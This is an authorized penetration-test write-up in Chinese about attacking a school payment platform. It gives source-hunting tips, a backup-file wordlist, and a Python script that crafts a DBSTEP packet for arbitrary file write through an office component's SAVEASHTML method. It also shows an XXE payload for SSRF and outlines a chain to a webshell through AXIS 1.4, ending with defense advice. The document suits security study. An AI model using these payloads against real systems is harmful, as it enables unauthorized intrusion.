渗透测试-一次从黑盒转向白盒
字数 1590 2025-08-25 22:59:15

渗透测试实战:从黑盒转向白盒的完整过程

0x01 前言

本文记录了一次针对某学校支付平台的渗透测试过程,测试已获得授权。测试过程中从黑盒测试转向白盒测试,最终通过多种技术手段获取系统权限。涉及的技术点包括:信息收集、某组件安全漏洞利用、Linux与Windows文件写入差异、Web服务漏洞利用等。

0x02 信息收集

目标系统概况

  • 系统类型:支付平台
  • 开发商:xx软件开发有限公司
  • 开发语言:Java
  • 框架:Struts2
  • 认证方式:尚未接入单点认证

源码收集思路

  1. 百度云盘:通过关键词搜索可能存在的源码备份
  2. 闲鱼平台:部分商家可能存有第三方系统源码
  3. 同系统站点备份:扫描相同系统的其他站点寻找备份文件

备份文件扫描

使用御剑扫描器,配合以下字典:

/ROOT.7z
/ROOT.rar
/ROOT.tar
/ROOT.tar.gz
/ROOT.war
/ROOT.zip
/web.tar
/web.tar.gz
/web.rar

注意:对于多应用部署的Tomcat服务器,应将ROOT替换为实际应用目录名,如:

/pay/index.jsp --> /pay/ --> pay.war

0x03 某组件安全漏洞利用

漏洞发现

在ticket模块下发现officeserver.jsp,返回提示:

DBSTEP V3.0 0 14 0 请使用Post方法

确认存在某格组件漏洞,该组件默认存在SAVEASHTML方法,可导致任意文件写入。

数据包结构分析

数据包前64字节为配置信息:

  • 0-15字节:FVersion
  • 16-31字节:BodySize(后续读取的字节数)
  • 32-47字节:ErrorSize
  • 48-63字节:FFileSize

后续内容以\n\t分割参数。

漏洞利用脚本

body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==LOCALFILE=MQ==""".replace(' ', '\n').strip()
coente="""hello1"""
fileContent=f'''{coente}'''.replace("\n","").strip()
payload="DBSTEP V3.0 "
bodysieze=str(len(body))
filesize=str(len(fileContent))
payload+=str(int(bodysieze)+3)+' '*(16-len(bodysieze))+'0'+' '*15+filesize+' '*(16-len(filesize))+body+fileContent

写入失败原因分析

在Linux系统中:

  • \\会被当作文件夹名称的一部分
  • FileOutputStream在文件夹不存在时会直接抛出错误
  • 最终写入路径如\\HTML\\test\\1.txt,与预期不符

0x04 Linux和Windows文件写入差异

解决方案

  1. 预先创建包含\\的文件夹
  2. mDirectory参数中添加多个\\符号

实践步骤

  1. 创建文件夹

    body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==LOCALFILE=MQ==""".replace(' ', '\n').strip()
    
  2. 写入文件

    # 调整DIRECTORY参数,添加多个\\
    

成功条件

  • 在Linux系统中需要3个\\才能创建预期的文件夹结构
  • 写入时需要去掉一个\以确保路径正确

0x05 终点也是起点

遇到的障碍

  • 目标系统不存在ticket模块,无法直接利用
  • 通过PAY模块下载源码进行审计

代码审计发现

  1. 安全防护

    • 使用org.apache.commons.lang.StringEscapeUtils.escapeSql过滤SQL注入
    • 无文件上传点
  2. 新发现

    • 应用使用AXIS 1.4版本,开启了远程访问
    • AXIS 1.4存在远程命令执行漏洞(需SSRF配合)

XXE漏洞利用

发现SAXBuilder造成的XXE漏洞,可用于SSRF:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">
]>
<name>&xxe;</name>

最终利用链

  1. 通过XXE实现SSRF
  2. 利用SSRF向Web Services添加恶意方法
  3. 使用FileUtil.writeFileContent方法写入Webshell

技术要点总结

  1. 信息收集

    • 多角度收集源码(云盘、二手平台、同系统站点)
    • 针对性扫描备份文件
  2. 组件漏洞利用

    • 理解数据包结构(64字节头部+参数体)
    • 掌握SAVEASHTML方法利用
  3. 系统差异

    • Linux与Windows文件路径处理差异
    • 特殊字符在路径中的处理方式
  4. 漏洞链构建

    • XXE → SSRF → Web Services添加恶意方法 → 文件写入
    • 利用现有类方法(如FileUtil)绕过限制
  5. 防御绕过

    • 通过多层编码绕过过滤
    • 利用系统特性(路径处理)实现跨目录写入

防御建议

  1. 组件安全

    • 及时更新或移除存在漏洞的第三方组件
    • 禁用不必要的服务和方法
  2. 输入验证

    • 对所有用户输入进行严格过滤
    • 禁用XML外部实体解析
  3. 文件操作

    • 限制文件操作权限
    • 对文件路径进行规范化处理
  4. 服务配置

    • 关闭不必要的远程服务访问
    • 使用最小权限原则配置服务账户
  5. 监控与审计

    • 实施文件变更监控
    • 定期进行安全审计和渗透测试
渗透测试实战:从黑盒转向白盒的完整过程 0x01 前言 本文记录了一次针对某学校支付平台的渗透测试过程,测试已获得授权。测试过程中从黑盒测试转向白盒测试,最终通过多种技术手段获取系统权限。涉及的技术点包括:信息收集、某组件安全漏洞利用、Linux与Windows文件写入差异、Web服务漏洞利用等。 0x02 信息收集 目标系统概况 系统类型:支付平台 开发商:xx软件开发有限公司 开发语言:Java 框架:Struts2 认证方式:尚未接入单点认证 源码收集思路 百度云盘 :通过关键词搜索可能存在的源码备份 闲鱼平台 :部分商家可能存有第三方系统源码 同系统站点备份 :扫描相同系统的其他站点寻找备份文件 备份文件扫描 使用御剑扫描器,配合以下字典: 注意 :对于多应用部署的Tomcat服务器,应将ROOT替换为实际应用目录名,如: 0x03 某组件安全漏洞利用 漏洞发现 在ticket模块下发现 officeserver.jsp ,返回提示: 确认存在某格组件漏洞,该组件默认存在 SAVEASHTML 方法,可导致任意文件写入。 数据包结构分析 数据包前64字节为配置信息: 0-15字节:FVersion 16-31字节:BodySize(后续读取的字节数) 32-47字节:ErrorSize 48-63字节:FFileSize 后续内容以 \n\t 分割参数。 漏洞利用脚本 写入失败原因分析 在Linux系统中: \\ 会被当作文件夹名称的一部分 FileOutputStream 在文件夹不存在时会直接抛出错误 最终写入路径如 \\HTML\\test\\1.txt ,与预期不符 0x04 Linux和Windows文件写入差异 解决方案 预先创建包含 \\ 的文件夹 在 mDirectory 参数中添加多个 \\ 符号 实践步骤 创建文件夹 : 写入文件 : 成功条件 在Linux系统中需要3个 \\ 才能创建预期的文件夹结构 写入时需要去掉一个 \ 以确保路径正确 0x05 终点也是起点 遇到的障碍 目标系统不存在ticket模块,无法直接利用 通过PAY模块下载源码进行审计 代码审计发现 安全防护 : 使用 org.apache.commons.lang.StringEscapeUtils.escapeSql 过滤SQL注入 无文件上传点 新发现 : 应用使用AXIS 1.4版本,开启了远程访问 AXIS 1.4存在远程命令执行漏洞(需SSRF配合) XXE漏洞利用 发现 SAXBuilder 造成的XXE漏洞,可用于SSRF: 最终利用链 通过XXE实现SSRF 利用SSRF向Web Services添加恶意方法 使用 FileUtil.writeFileContent 方法写入Webshell 技术要点总结 信息收集 : 多角度收集源码(云盘、二手平台、同系统站点) 针对性扫描备份文件 组件漏洞利用 : 理解数据包结构(64字节头部+参数体) 掌握 SAVEASHTML 方法利用 系统差异 : Linux与Windows文件路径处理差异 特殊字符在路径中的处理方式 漏洞链构建 : XXE → SSRF → Web Services添加恶意方法 → 文件写入 利用现有类方法(如FileUtil)绕过限制 防御绕过 : 通过多层编码绕过过滤 利用系统特性(路径处理)实现跨目录写入 防御建议 组件安全 : 及时更新或移除存在漏洞的第三方组件 禁用不必要的服务和方法 输入验证 : 对所有用户输入进行严格过滤 禁用XML外部实体解析 文件操作 : 限制文件操作权限 对文件路径进行规范化处理 服务配置 : 关闭不必要的远程服务访问 使用最小权限原则配置服务账户 监控与审计 : 实施文件变更监控 定期进行安全审计和渗透测试